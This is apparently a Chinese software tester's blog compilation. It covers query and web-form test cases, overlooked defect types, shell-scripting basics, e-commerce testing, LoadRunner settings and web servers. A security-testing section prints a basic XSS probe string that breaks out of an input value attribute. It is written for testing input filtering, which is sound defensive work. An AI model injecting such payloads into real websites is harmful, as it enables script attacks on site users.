以下总结中，输入一些特殊符号进行查询，是我没有想到的：

查询输入

　　（1）分别对单条件进行精确查询

　　（2）输入长度的检验，输入允许的最长值进行查询，是否支持

　　（3）两个查询条件是否为2选1，来回选择是否出现页面错误

　　（4）输入字符

　　（5）输入特殊字符

　　（6）输入数字

　　（7）输入汉字

　　（8）输入关系表达式 与、或、异或、非、等于

　　（9）输入空格

　　（10）条件中含有空格

　　（11）输入超长字符

　　（12）输入全角字符

　　（13）输入单引号

　　（14）输入单引号引起来的数据

　　（15）输入双引号

　　（16）输入双引号引起来的数据

　　（17）如果支持模糊查询，输入部分查询条件

　　（18）输入系统中不存在与之匹配的条件

　　查询结果检查

　　（1）查询结果按什么顺利排序

　　（2）查询结果是否根据字段显示排序功能

　　（3）查询结果是否有分页，如果有，每页最多包含多少记录

　　（4）查询结果是否匹配

　　（5）查询结果是否与数据库一致

　　（6）查询结果是精确查询还是模糊查询

　　UI验证

　　（1）文字显示是否正确

　　（2）页面是否有错别字

　　（3）输入框大小、文字大小是否合适

　　（4）页面是否美观

　　（5）查询结果字段显示是否与需求一致

　　性能方面

　　（1）查询处理时间是否能接受

　　（2）数据库中存在大数据量数据时，查询时间是否能接受

　　（3）当多个用户同时查询时，输入相同或不同的查询条件系统响应是否及时

以下是我自己总结的：

对于查询功能，同样可以从以下几个方面来进行用例的设计：

1、功能方面考虑：应用边界值和等价类划分法进行用例的设计

边界值：输入最大长度的文本，能否搜出来？输入空格或空，能否搜索出来？

等价类：要考虑到一些特殊符号的输入查询。

2、易用性方面

3、界面方面

4、安全角度：比如输入一些脚本语言，看是否执行，主要是防XSS攻击问题

5、性能角度：查询效率、并发、响应时间问题的考虑

    弄了好长时间，IP欺骗问题终于解决了，现在把IP欺骗问题总结如下：

   这篇文章写的非常不错，转过来学习下。

   通常软件测试会暴露软件中的缺陷，经过修正后可以保证软件系统的功能满足需求并正确运行。但是，在系统测试和确认测试中，测试人员容易遗漏一些隐藏的缺陷。众所周知，软件测试不可能发现所有的缺陷，而软件开发周期各个阶段仍然存在注入缺陷的可能，但是，有一些缺陷是测试中容易忽略的，也就是说，通过测试方法和用例可以充分暴露这些缺陷，遗憾的是，它们往往被忽略或者某种原因忘记测试了，这就给软件留下了隐患或者危机。这些容易被忽略的缺陷包括：

　　1、安装缺陷

　　通常项目组完成代码后，发布时候安装打包是最后一个环节，而软件测试人员通常在测试的时候，没有仔细的测试这一部分，而把用例集中在其他功能上。安装时候的缺陷通常通过拷贝而不是运行安装程序方式给测试人员安装软件，结果正式安装时候出现问题，引起例如控件没有注册，注册表没有导入等。删除时候没有注意安装文件夹是否存在用户文件，造成数据丢失;使用绝对路径;安装顺序没有说明书。

　　2、配置文件

　　有些文件在ini等配置文件中写出了管理员口令密码等信息，而且是明文的!这是一个安全隐患。另外，有些安装文件的XML文件，为了方便在数据库和中间层连接文件中写入了Admin口令和密码。作为一个合格的软件测试人员，必须检查这些可以用记事本打开的文件。因为，一个稍有常识而且喜欢探索的用户，可能从中获取信息而成为不自觉的黑客。所以，配置文件可能成为软件安全方面的一个缺陷。

　　3、网页安全缺陷

　　现在网站开发已经注意到：登陆网站进入其内部网页后，直接拷贝网址，然后粘贴到另一IE窗口输入，可以绕过登陆直接访问。也许商业网站很关注这个问题，但是很多行业软件却很容易忽略。

　　网页安全缺陷还可能存在于IE弹出的子窗口。有些设计不严格的软件，在主页面关闭的时候子页面还可以运行，这是一个明显的漏洞，而且还大大增加了错误发生的几率。

　　4、判断顺序/逻辑缺陷

　　对界面进行多个输入判断的时候，非常容易出现这种问题。例如判断年月顺序，判断长度，判断非空等。假如操作员仅仅满足单个条件，保存不能成功;而按界面从上之下顺序一一满足条件之后，保存是没有问题的。但是，改变一下输入的次序，校验失效。例如，一一满足条件之后，不保存，倒过来将上面的输入改成非法输入，然后保存，结果居然也能成功，这是因为原先的判断由于发生过，或者根据语句顺序只检查最后一个判断，所以没有报错。这种错误尤其在Java scrīpt脚本的页面中要注意。能够保存不能保证数据正确，有可能引起系统崩溃或者后续数据错误。所以，在测试的时候，不要按照正常的顺序输入，而是要打乱步骤，看看代码是否强健，是否在判断逻辑上没有错误。良好的代码应该经得起折腾，至少保存时会再此全部进行判断，而不只是简简单单走到判断的最后一行。

　　5、调试语句和冗余信息

　　维护项目和升级改造的推广系统最容易潜伏这类缺陷。典型表现在没有删除或者屏蔽调试语句。弹出一个界面不友好的提示信息，会使不明真相的用户产生误以为系统发生了严重故障，从而引起对软件的不信任感。页面中某个角落存在当前客户不需要的冗余按钮和功能也是一种缺陷。多余的功能会使用户以为是额外附加部分而去使用，其结果可想而知;而多余的按钮会误导好奇心强的用户操作，产生不必要的错误。

　　同样值得关注的还有参数设置，由于没有实际数据，开发人员在调试或者单元测试的时候，习惯性的进行自我设定而忘了删除，软件测试人员可能会忽略掉了这部分测试，也可能导致在客户现场发生错误而影响系统发布和验收。

　　6、不可重现的故障

　　新参加软件测试的人员或者新来的开发人员总是要问，不可重现的缺陷是否需要记录，有必要吗?回答是肯定的。测试必须如实的记录发生的问题，也许不能重现，或者使非软件系统本身问题，但是，可能这些偶然性背后是有规律的，不记录这些，就不可能发现这些规律。

　　7、多节点的逆向流转缺陷

　　当前软件不少喜欢使用工作流来驱动。工作流的问题，就是可能出现多个流向分支。测试容易忽略的部分，就是工作流多节点的逆向流转。例如，通过不通过涉及两个分支，但是流程逆转的时候，有可能不是回到上一节点而是平级的另一个节点去了。软件测试要格外注意这类用例的设计。另外，有些时候默认分支在向前的时候是有默认值的，例如默认通过，那么保存的时候要提示用户是否通过，否则可能由于操作疲劳而走错了节点，引起回退。

　　8、输入框缺陷

　　试过往输入框粘贴数据而不是直接输入吗?可能这里会出现问题。按Ctrl+V的时候，输入框会根据长度大小自动截断输入长度。但是用鼠标，截断可能会失效。有一次测试人员就是用这种方法把一篇Word文档输入进去了，保存的时候，数据库崩溃。有些网站登陆的口令****可以拷贝下来的，只要放在剪贴板里面马上明文显示。（在以后的测试中需要注意的）

　　输入框可以说是问题最多的部分，能够引起的麻烦也很多。日期、数字、文本等等，都需要耐心的测试一下。

　　9、界面布局缺陷

　　曾经有一次，项目经理回来向测试部反映一个问题，客户对界面不满意。原因很简单，因为界面上删除按钮和保存按钮挨得很近。结果有些操作不熟练的业务人员，很容易误按。这个问题是测试人员没有意料到的，因此注意关闭、删除、退出按钮与保存、下一步等按钮的距离。类似的按钮应按此规则排列分布。

　　界面布局还可能发生在窗口最大化和最小化上，有可能窗口缩小的时候没有下拉框或不匹配分辨率，对用户来讲，这个错误实在很低级。有些用户由于操作习惯，非常不喜欢腾出手使用鼠标，尤其是大量输入的界面，因此，要注意设置键盘的快捷方式。还有，按Tab定位到下一焦点时要注意顺序，避免跳转太灵活而让操作人员感到无从适应，在界面进行维护或者修改的时候，不要忘了软件测试开发人员是否无意改变了这些快捷方式和跳转顺序。

　　10、版本和补丁包的环境问题

　　理论上讲，这属于兼容性测试应该覆盖的问题。有些客户很喜欢更新最新的软件版本或者微软时不时打些补丁包，问题就出现了。有时候升级不一定是好事。这些问题最好在测试的时候增加几个用例，多用不同软件版本的机器跑一跑。软件测试有个定律是：你没跑过的地方，就一定会出事。经常听到开发人员抱怨，怎么我的机器没问题，你的机器就有事了呢?这不能完全靠配置管理员解决问题，环境配置项是大家最容易忽略的。

　　11、用户管理缺陷

　　用户管理的角色和授权需要好好研究一下，作过测试的人员都知道，有时候为了测试的方便，测试用户都是具有超级权限的用户。而且，比较容易忽略用户管理这一部分的测试。往往发往客户的时候，很多测试用户都没有删除。

　　另外，有些接口的用户和口令，到软件使用寿命结束都没有更改过。在一次测试中，软件测试人员发现，给一个用户授超级用户权限，之后更改这个用户为受限权限。使用中发现，用户居然没有真正回收权限，用户管理界面上没有任何不对。及早准备用户管理用例，不要等到测试快结束时候才想起。

　　12、常识缺陷

　　从逻辑或者统计学上讲，计算机是允许如此处理的，但是从常识上来讲，这些情况不可能发生。例如电话号码不可能出现小数点，终止时间不能大于开始时间等等。除此之外，常识还要结合业务特点来进行判断，因此，开发和测试人员要格外注意对自己知识的培养以及增加对需求细节的了解。不能因为一味追求进度而采用最简单的代码来实现，对用户来说，这些错误可能是很荒谬的。

　　尽管我们不可能完美的测试一个软件，但是我们仍然可以改进我们的软件测试。每次测试结束，及时总结测试中的不足，进一步完善用例。思考一下那些容易忽略的软件缺陷，能提高对软件测试的认识，提高所在组织软件的质量。

  百无聊懒中参加了“进销存系统”的测试工作，发现自己还真是喜欢测试，拿起一个软件就想用用，想测测。
  测试该系统仅用了差不多一天的时间，没有写测试用例，因为该系统是公司内部使用，所以应上级要求，作为测试人员我只是测试了下基本的功能，对于一些输入框什么的，没有考虑一些特殊的输入，比如特殊字符等。
   感觉收获还是有的，现在总结下心得：
一、首先要进行单元功能测试，保证每个功能使用的正确
有以下几个问题，需要自己以后测试中注意：
1、重复添加问题：某个产品被删除或设为“未激活”状态后，再次添加同样的产品信息，能否添加上？或者添加已经存在的产品信息，系统是否有相应的提示信息？

2、采购单或送货单中，产品的删除问题：是否能够连续删除多个产品？当采购单或送货单重只有一个产品时，能否删除掉？

3、产品重量是否可以改为小数？

4、出库管理模块，汇入/汇出功能，要考虑到导入正确的数据、误写的数据、不存在的数据三种情况，但导入这些数据时，系统是否有错误提示信息？

二、业务流程的测试
1、各个模块间数据传递是否正确，要注意到“重量”和“金额”数值类型的问题，比如，当重量和金额都有两位小数时，传到其他模块是否数值一致？
模块间数据传递比较复杂，一定得着重测试，凡是涉及到模块间数据传递的一定要设计不同的数据进行测试，这往往是开发最容易出错的地方。

2、采购后相应的产品库存是否相应的增加？
3、出库后相应的产品库存是否相应的减少？

三、权限分配
1、以不同权限登录时，信息显示是否正确？
2、以不同权限登录进行操作，能否操作成功？同样要注意数据传递关系。

四、个人对该进销存系统的认识
该系统和我想象中的不太一样，它是以订单为驱动来开发的，包括：
产品管理：主要是录入产品的一些基本信息
订单管理：该模块比较复杂，以订单为驱动，下采购订单，在采购订单的基础上生成送货单，入库，涉及到了批次入库（生成批号并填写有效日期）
出库管理：遵循先进先出的原则，即，批号小的先出

续：
一、搜索功能：
1、比较长的名称是否能查到？
2、空格 或空
3、名称中含有特殊字符，如：' $ % & *等
4、前面或后面有空格
5、搜索名称中任意一个字符是否能搜索到

二、关联几个模块的相同字段，当输入时，是否允许输入空格+字段名？
比如：运单号，当输入时，前面含有空格时，就会出现错误。
空格+字段名是个大问题，或 字段名+空格 同样是个大问题

三、数量限制问题
比如出库，当一个订单的一个产品的出库数量大于库存数量时，会提示错误信息，但是当两个订单的相同产品数量总和大于库存数量时，就不会提示错误信息。

所以，当测试数量限制问题时，一定要发散思维进行测试。

四、对于一个功能点，最起码一定要从易用性、功能、并发角度考虑
比如：批号问题，当两个人同时点击该按钮时，就出现了生成相同批号的问题，这个问题很严重。

  终于学到shell编程了，之前做了好多准备，呵呵。现在把我学到的总结如下：

先写段完整代码：
#!/bin/bash
#program:
 this program is an example of shell.
#History:
  2009/10/12  navy  first release
 PATH=(可以由echo $PATH来获得)
 export PATH
 
 echo "hello to the world!"
 
 比如保存在sh01.sh中
 执行命令：sh sh01.sh
 屏幕上显示：hello to the world!
 
一、执行shell脚本命令
1、将shell.sh加上可读执行rx权限，然后用./shell.sh来执行即可
2、用sh shell.sh的方式来直接执行

二、判断条件
判断条件，在脚本中用的比较多，[]或test都起到判断的目的，比如判断一个文件sh01.sh是否存在，可以有这样两种方法：test -e sh01.sh、
[ -e "sh01.sh" ]

1、某个文件名的”类型“检测:如： test -e filename
-e 该文件名是否存在
-f 该文件名是否为文件
-d 该文件名是否为目录

2、文件权限的检验：
-r：可读
-w：可写
-x:可执行

3、比较两个文件，比如：test file1 -nt file2
-nt: newer than 判断file1是否比file2新
-ot:older than 判断file1是否比file2旧

4、两个整数之间的判断，如：test n1 -eq n2
-eq:两数值相等。equal
-ne:not equal,不相等
-gt：greater than，大于
-lt：less than 小于
-ge：greater than or equal 大于等于
-le：less than or equal 小于等于

5、字符串判断
test -z string 判断字符串是否为0
test -n string 判断字符串是否非为0
test string1=string2 判断两个字符串是否相等
test string1！=string2 判断两个字符串是否不等

三、条件语句 if...then
if [ 条件表达式一 ]； then
   当成立时，执行的命令
elif [ 条件表达式二 ]； then
   当成立时，执行的命令
else
    当条件1和2全不成立时，执行的命令
fi

eg：
#!/bin/bash
#program:
 this program is an example of shell.
#History:
  2009/10/12  navy  first release
 PATH=(可以由echo $PATH来获得)
 export PATH

read -p "please input(y/n):" yn
if [ "$yn" == "y" ]; then
  echo "ok,continue"
elif [ "$yn" == "n" ]; then
  echo "oh,interrupt"
else
  echo "i don't know what is your choice"
fi

四、case...esac判断
格式：
case $变量名称 in
  ”第一个变量内容“）
     程序段
     ;;
   "第二个变量内容"
     程序段
     ;;
  *）
   不包含第一个和第二个变量内容的其他程序执行段
   exit 1
     ;;
esac

eg:
  #!/bin/bash
#program:
 this program is an example of shell.
#History:
  2009/10/12  navy  first release
 PATH=(可以由echo $PATH来获得)
 export PATH

read -p "please input(y/n):" yn
case $yn in
  "y")
    echo "ok,continue"
    ;;
  "n")
     echo "oh,interrupt"
  *)
     echo "i don't know what is your choice"
     ;;
 esac

五、循环：while do done、until do done
eg:
  #!/bin/bash
#program:
 this program is an example of shell.
#History:
  2009/10/12  navy  first release
 PATH=(可以由echo $PATH来获得)
 export PATH

 i=0;
 s=0
 while[ "$i" -le "100"]
 do
    $s=$(($s+$i))
    $i=$(($i+1))
 done
 echo $s

六、循环：for do done
1、格式：
 for(( 初始值; 限制值; 执行步长 ))
 do
   程序段
 done

eg：
#!/bin/bash
#program:
 this program is an example of shell.
#History:
  2009/10/12  navy  first release
 PATH=(可以由echo $PATH来获得)
 export PATH

 s=0
 for((i=0;i<=100;i++))
 do
   $s=$(($s+$i))
 done
echo $s

2、非数字方面的循环运算
格式：
for var in con1,con2,con3...
do
  程序段
done
说明，在第一次循环时，$var的内容为con1
 在第二次循环时，$var的内容为con2
 .....
eg：
 #!/bin/bash
#program:
 this program is an example of shell.
#History:
  2009/10/12  navy  first release
 PATH=(可以由echo $PATH来获得)
 export PATH
 $file=`cat /etc/passwd | cut -d ":" -f 1`
 i=1
 for usr in $file
 do
   echo "the $i account is:"$usr""
   i=$(($i+1))
 done
说明：上面程序是取出账号名称，并打印出来。


 




 




  

 
 
 

   公司进销存系统,虽然我没有实际参与进去，但有个模块我自己测试过了，运费计算，对于这个模块我当时测试了，但今天客服人员在使用时，出现问题了，虽然没有把责任归咎于我，但我毕竟进行了测试，所以我要负主要责任。
   下面我要进行深刻的反思：
   1、运费计算，涉及到数据的传递，也就是要涉及到另外一个模块的数据，所以首先要保证下拉菜单中的数据和另外一个模块中的一致，并且保证数据都能传到该下拉菜单中，另外要注意的是，一定要在另外一个模块中新增一条数据，看该数据能否正常传到下拉菜单中。
   2、新增的数据一定要进行一次运费的计算，看能否正常进行核算，这次的问题就出在了这里。
   总之，涉及到多个模块间数据的传递问题时，一定要增加新的数据来进行测试。

   3、越来越感觉自己脱离测试了，找不到测试的感觉了，一是因为每次有点小的测试任务，一开发人员总是限制，说不用测这个，不用测那个，我不知道是该感谢他还是该痛恨他，总之是很闹心；二是因为这次的这个项目我没有参与进去，就进行这个小模块的测试时，该开发人员还说，就简单测试下就成，别的部门正在使用这个系统，里面的数据都是正确的，我不太好放手去添加一些测试数据；三是因为进入这个公司以来，总是很闲，完全没有了测试的感觉，感觉离测试越来越远了，自己的技能没有提高多少，在别人看来，我的工作很好，很闲，还照发工资，但，有时，闲着也是一种痛苦。

    学吧，把linux 学的差不多了，再考虑换工作的事情。

   近两天一直在看网站安全方面的知识，与以前相比，感觉有很大的收获和启发，最近也在学php语言，感觉如果想把基本的安全测试做好的话，会web开发的一些语言是必须得，现把自己的一点小得总结如下，以免以后忘记，^_^

  据我现在所学到的，web安全测试主要为sql注入和xss（跨网站脚本攻击），这两种方式的攻击08年的时候，很猖狂，对于一些大的网站比如银行网站、淘宝网站等都存在xss漏洞，所以一定要坚信，自己测试的网站也一定会有这方面的问题（思想决定行动，做测试最重要的是要有怀疑的精神，一定要坚信无论什么软件，无论是否上线，无论测过多少次，一定会有bug的存在）。

  对于sql注入，自己知道的只是很浅显的一部分知识，下面主要记录下自己学习xss的一点心得。

  1、对于网站的任何输入框，只要是用户能够输入东西的地方，都会有sql注入和xss漏洞的可能

  2、xss，程序或数据库没有对一些特殊字符进行过滤或处理，导致用户所输入的一些破坏性的脚本语句能够直接写进数据库中，浏览器会直接执行这些脚本语句，破坏网站的正常显示，或网站用户的信息被盗等。

  输入框中输入含有脚本语句的东西时，一定得保证脚本的独立性，和原语句的完整性，这样所构造的脚本语言才会被执行，比如：

<input type="text" value=""/>

构造这个语句的xss攻击的话，可以这样构造：

abc"<script>alert("xss")</script><a href="

  3、以前看书，看到在设计用例的时候，考虑到输入：

  document.write("abc")

或 <script>alert("abc")</script> 

  不太明白为什么要这样设计，现在才恍然大悟，是从安全方面考虑的，看程序和数据库是否对特殊字符如：<>、/、%、&、script等做了过滤，以防止其他破坏性的攻击。
   这是通过看xss最大的收获，当然xss远不止这么简单，我想在学习web语言的基础上再学习xss和sql会更容易些。所以这只是一个开始，以后，我会把自己学习的心得继续写出来。

   大家有什么看法，尽可以提出，共同学习，一块进步

1、页面链接检查： 每一个链接是否都有对应的页面，并且页面之间切换工具，如LinkBotPro、File-AIDCS、HTML Link Validater、Xenu等工具。LinkBotPro不支持中文，中文字符显示为乱码；HTML Link Validater只能测试以Html或者htm结尾的网页链接；Xenu无需安装，支持asp、do、jsp等结尾的网页，同时能够生成html格式的测试报告。

2、相关性检查：删除/增加一项会不会对其他项产生影响，如果产生影响，这些影响是否都正确检查按钮的功能是否正确 如新建、编辑、删除、关闭、返回、保存、导入等功能是否正确。

3、字符类型检查：在应该输入指定类型的内容的地方输入其他类型的内容(如在应该输入整型的地方输入其他字符类型),看系统是否检查字符类型。

1）标点符号检查：输入内容包括各种标点符号,特别是空格,各种引号,回车键。看系统处理是否正确。

2）特殊字符检查：输入特殊符号，如@、#、$、%、!等，看系统处理是否正确。

3)字符串长度检查: 输入超出需求所说明的字符串长度的内容, 看系统是否检查字符串长度。

4、中文字符处理：在可以输入中、英文的系统输入中文,看会否出现乱码或出错。

检查信息的完整性 在查看信息和更新信息时,查看所填写的信息是不是全部更新,更新信息和添加信息是否一致。

5、信息重复：在一些需要命名,且名字应该唯一的信息输入重复的名字或ID,看系统有没有处理,会否报错,重名包括是否区分大小写,以及在输入内容的前后输入空格,系统是否作出正确处理。

6、检查删除功能：在一些可以一次删除多个信息的地方,不选择任何信息,按“delete”,看系统如何处理,会否出错;然后选择一个和多个信息,进行删除,看是否正确处理。

7、检查添加和修改是否一致：检查添加和修改信息的要求是否一致,例如添加要求必填的项,修改也应该必填;添加规定为整型的项,修改也必须为整型

8、检查修改重名：修改时把不能重名的项改为已存在的内容,看会否处理,报错.同时,也要注意,会不会报和自己重名的错

9、重复提交表单：一条已经成功提交的纪录，返回后再提交，看看系统是否做了处理。对于Web系统检查多次使用返回键的情况   在有返回键的地方,返回到原来页面,重复多次，看会否出错

10、搜索检查：有搜索功能的地方输入系统存在和不存在的内容,看搜索结果是否正确.如果可以输入多个搜索条件,可以同时添加合理和不合理的条件,看系统处理是否正确。

11、输入信息位置：注意在光标停留的地方输入信息时,光标和所输入的信息会否跳到别的地方。

12、上传下载文件检查：上传下载文件的功能是否实现，上传文件是否能打开。对上传文件的格式有何规定，系统是否有解释信息，并检查系统是否能够做到。下载文件能否打开或者保存，下载的文件是否有格式要求，如需要特殊工具才可以打开等。

13、必填项检查：应该填写的项没有填写时系统是否都做了处理，对必填项是否有提示信息，如在必填项前加“*”；对必填项提示返回后，焦点是否会自动定位到必填项。

14、快捷键检查：是否支持常用快捷键，如Ctrl+C、 Ctrl+V、 Backspace等，对一些不允许输入信息的字段，如选人，选日期对快捷方式是否也做了限制。

15、回车键检查：在输入结束后直接按回车键,看系统处理如何,会否报错。

16、刷新键检查：在Web系统中，使用浏览器的刷新键，看系统处理如何，会否报错。   

17、回退键检查：在Web系统中，使用浏览器的回退键，看系统处理如何，会否报错。对于需要用户验证的系统，在退出登录后，使用回退键，看系统处理如何；多次使用回退键，多次使用前进键，看系统如何处理。

18、直接URL链接检查：在Web系统中，直接输入各功能页面的URL地址，看系统如何处理，对于需要用户验证的系统更为重要。

19、空格检查：在输入信息项中，输入一个或连串空格，查看系统如何处理。如对于要求输入整型、符点型变量的项中，输入空格，既不是空值，又不是标准输入。

20、输入法半角全角检查：在输入信息项中，输入半角或全角的信息，查看系统如何处理。如对于要求输入符点型数据的项中，输入全角的小数点（“。”或“．”，如４．５）；输入全角的空格等。

21、密码检查：一些系统的加密方法采用对字符Ascii码移位的方式，处理密码加密相对较为简单，且安全性较高，对于局域网系统来说，此种方式完全可以起到加密的作用，但同时，会造成一些问题，即大于128的Ascii对应的字符在解密时无法解析，尝试使用“uvwxyz”等一些码值较大的字符作为密码，同时，密码尽可能的长，如17位密码等，造成加密后的密码出现无法解析的字符。

22、用户检查：任何一个系统，都有各类不同的用户，同样具有一个或多个管理员用户，检查各个管理员之间是否可以相互管理，编辑、删除管理员用户。同时，对于一般用户，尝试删除，并重建同名的用户，检查该用户其它信息是否重现。同样，提供注销功能的系统，此用户再次注册时，是否作为一个新的用户。

23、系统数据检查：这是功能测试最重要的，如果系统数据计算不正确，那么功能测试肯定是通不过的。数据检查根据不同的系统，方法不同。对于业务管理平台，数据随业务过程、状态的变化保持正确，不能因为某个过程出现垃圾数据，也不能因为某个过程而丢失数据。

24、系统可恢复性检查：以各种方式把系统搞瘫，测试系统是否可正常迅速恢复。

   在UNIX和LINUX平台下使用最广泛的免费HTTP服务器是W3C、NCSA和APACHE服务器，而Windows平台NT/2000/2003使用IIS的WEB服务器。在选择使用WEB服务器应考虑的本身特性因素有：性能、安全性、日志和统计、虚拟主机、代理服务器、缓冲服务和集成应用程序等，下面介绍几种常用的WEB服务器。

   Microsoft IIS

　　Microsoft的Web服务器产品为Internet Information Server (IIS)， IIS 是允许在公共Intranet或Internet上发布信息的Web服务器。IIS是目前最流行的Web服务器产品之一，很多著名的网站都是建立在IIS的平台上。IIS提供了一个图形界面的管理工具，称为 Internet服务管理器，可用于监视配置和控制Internet服务。
　　IIS是一种Web服务组件，其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器，分别用于网页浏览、文件传输、新闻服务和邮件发送等方面，它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。它提供ISAPI(Intranet Server API)作为扩展Web服务器功能的编程接口;同时，它还提供一个Internet数据库连接器，可以实现对数据库的查询和更新。
　　官方网站：http://www.microsoft.com
　　下载地址：http://www.eryin.com/Server/Soft/200808/02257.html

　　IBM WebSphere

　　WebSphere Application Server 是 一 种功能完善、开放的Web应用程序服务器，是IBM电子商务计划的核心部分，它是基于 Java 的应用环境，用于建立、部署和管理 Internet 和 Intranet Web 应用程序。 这一整套产品进行了扩展，以适应 Web 应用程序服务器的需要，范围从简单到高级直到企业级。
　　WebSphere 针对以 Web 为中心的开发人员，他们都是在基本 HTTP服务器和 CGI 编程技术上成长起来的。IBM 将提供 WebSphere 产品系列，通过提供综合资源、可重复使用的组件、功能强大并易于使用的工具、以及支持 HTTP 和 IIOP 通信的可伸缩运行时环境，来帮助这些用户从简单的 Web 应用程序转移到电子商务世界。
　　官方网站：http://www.ibm.com
　　下载地址：http://www.ibm.com/developerworks/cn/downloads/ws/wasce/

　　BEA WebLogic
　　BEA WebLogic Server 是一种多功能、基于标准的web应用服务器，为企业构建自己的应用提供了坚实的基础。各种应用开发、部署所有关键性的任务，无论是集成各种系统和数据库，还是提交服务、跨 Internet 协作，起始点都是 BEA WebLogic Server。由于 它具有全面的功能、对开放标准的遵从性、多层架构、支持基于组件的开发，基于 Internet 的企业都选择它来开发、部署最佳的应用。
　　BEA WebLogic Server 在使应用服务器成为企业应用架构的基础方面继续处于领先地位。BEA WebLogic Server 为构建集成化的企业级应用提供了稳固的基础，它们以 Internet 的容量和速度，在连网的企业之间共享信息、提交服务，实现协作自动化。
　　官方网站：http://www.bea.com
　　下载地址：http://www.oracle.com/bea/index.html

　　Apache
　　Apache仍然是世界上用的最多的Web服务器，市场占有率达60%左右。它源于NCSAhttpd服务器，当NCSA WWW服务器项目停止后，那些使用NCSA WWW服务器的人们开始交换用于此服务器的补丁，这也是apache名称的由来(pache 补丁)。世界上很多著名的网站都是Apache的产物，它的成功之处主要在于它的源代码开放、有一支开放的开发队伍、支持跨平台的应用(可以运行在几乎所有的Unix、Windows、Linux系统平台上)以及它的可移植性等方面。
　　官方网站：http://www.apache.org
　　下载地址：http://www.eryin.com/Server/Soft/200808/01245.html

　　Tomcat
　　Tomcat是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。Tomcat Server是根据servlet和JSP规范进行执行的，因此我们就可以说Tomcat Server也实行了Apache-Jakarta规范且比绝大多数商业应用软件服务器要好。
　　Tomcat是Java Servlet 2.2和JavaServer Pages 1.1技术的标准实现，是基于Apache许可证下开发的自由软件。Tomcat是完全重写的Servlet API 2.2和JSP 1.1兼容的Servlet/JSP容器。Tomcat使用了JServ的一些代码，特别是Apache服务适配器。随着Catalina Servlet引擎的出现，Tomcat第四版号的性能得到提升，使得它成为一个值得考虑的Servlet/JSP容器，因此目前许多WEB服务器都是采用Tomcat。
　　官方网站：http://tomcat.apache.org
　　下载地址：http://www.eryin.com/Server/Soft/200808/02250.html

    自从找到工作后，每天都没有好好学了，放松够了，从明天起，开始学习了。

    先从LR开始。

    感谢他，那段时间相互监督学习的日子，祝他能转行成功。

  做电子商务网站测试已经一个月了，这一个月基本上是熟悉网站产品和流程的一个过程，对网站的各个部分基本上都进行了一次测试，感觉电子商务网站主要注意以下几点：

1、注册和登录模块的测试

在测试该部分时，给我印象最深的就是：

1）注册成功，但登陆失败：注册时，密码设置为一些特殊的符号，比如：空格、%等，但登录时，失败。

后来经开发人反映出现这样的问题，原因是：在登录模块，对密码设置了一些限定。

2）登录时，没区分大小写，就是说，用小写字母注册的，登录时，用相应的大写字母登录也能成功。

出现问题的原因：登录时，没用MD5加密进行验证

2、购物车的测试

1）测试产品能否放入购物车中

2）当某种产品有购物数量限制时，超过这一数值，能否也能放入购物车中

3）购物车中的购物限制是否正确

3、支付流程测试

1）购物车中的产品能否正常支付

2）当支付完成，不等页面跳转，直接关闭浏览器，数据传递是否正确

3）当支付完成，等待页面跳转，跳转到得页面是否正确

4、网站某个模块间的数据传递是否正确

当网站某个模块涉及的数据传递比较多而且比较复杂时，一定要搞清楚数据是怎么传递的，因为这是最容易出现bug的地方。比如：下拉菜单的数据没有传递过来，或传递过来了，但不正确，这时就要静下心来，慢慢滤清思考，耐心去测试。

    最后一点就是，在购买的过程中，也要考虑到并发，比如，当某种产品只剩一件了，这时两个用户或更多同时并发点击该产品，放入购物车中，那么在多个用户同时点击这个只剩一件的产品时，系统是否有相应的提示，或是，该产品能否都放入不同用户的购物车中，我上周测试的过程中，该问题是存在的，等待明天程序的解答和修改。

   电子商务网站，性能测试也是一个很重要的方面，虽然目前我还没开始这方面的测试，我希望能够结交这方面的朋友。

   以上就是我的一点总结和心得，希望能够和有同样测试经历的朋友共同探讨，一块进步！！

   界面界面测试和功能测试有的时候好像是分不清的，比如，输入一超出范围的值，系统应给出错误提示。这一用例中，感觉既有界面测试思想，也有功能测试思想在里面，从界面角度考虑，如果用户输入了超出范围的值了，那系统应该给出相应的提示，从功能角度考虑的话，就是应用了边界值分析法来设计这个用例。

   所以，我感觉，即使需求说明书上没写明输入错误的值给出提示的话，那站在界面测试的角度也应该把这个问题作为BUG提出来。

   写到这，感觉对以前设计的一个用例有了点清醒的认识，那是道面试题，没有需求说明，当时，我写的其中一个测试用例，就是当输入错误的时候，应该给出一个错误的提示，但是当时不知道为什么自己怎么想到这个用例了，好像没说明根据似的。

    现在想来，那是潜意识中在应用界面测试的思想：易用性，来考虑问题的。

    另外一点，我以前以为界面测试和设计有关，所以界面测试就是用眼睛看来的，全凭测试者的个人感觉如果没有明确的需求说明书， 没有把它和自动化测试联系起来，更没有想到和业务逻辑有关。

    自动化测试工具中用到的插入检查点和预期的相比对，这就是界面测试思想，呵呵，这样理解应该没错。 

    所以，对于每一个测试点，都要从：界面测试（易用性）、功能测试、兼容性测试、安全测试以及性能测试角度去理解。

   希望走过路过的朋友，对以上浅显的认识发表下个人见解。^_^

09.1.16
一、LR联机运行脚本产生负载问题
    如果仅被controller调用执行场景，只需在该机子上安装Load Generator就ok了。

二、设定集合点策略
1、启用集合点功能，contorller中单击disable/enable rendezvous
2、点击disable/enable按钮设定一个用户是否参与到集合点中。
3、policy：设定集合点执行策略

三、启用ip欺骗
配置：起始程序tool中有相应的功能IP WIZARD
启用：controller中，scenario-->enable ip spoofer命令
设置：controller中，设置IP地址的分配方式，首先在tool中选择expert mode命令，然后点击option，在弹出的对话框中单击GENERAL标签以设定IP地址的分配方式。

四、控制场景的运行
1、如何让不同的用户组同时运行？
选中组，右键菜单选择：initialize the selected vusers

五、LR参数化问题
Each Occurrence:每次遇到该参数就更新一次值，注意的是：针对的对象是该参数
Each Iteration：每次迭代更新一次值
once：一次，运行时，该参数只取一次值

   以后格盘后丢失数据不用怕了，用FinalData数据恢复软件，宝贝！！

HTTP 状态码大全,服务器日志重点部分

响应码分五种类型，由它们的第一位数字表示：
1.1xx：信息，请求收到，继续处理
2.2xx：成功，行为被成功地接受、理解和采纳
3.3xx：重定向，为了完成请求，必须进一步执行的动作
4.4xx：客户端错误，请求包含语法错误或者请求无法实现
5.5xx：服务器错误，服务器不能实现一种明显无效的请求
100 Continue
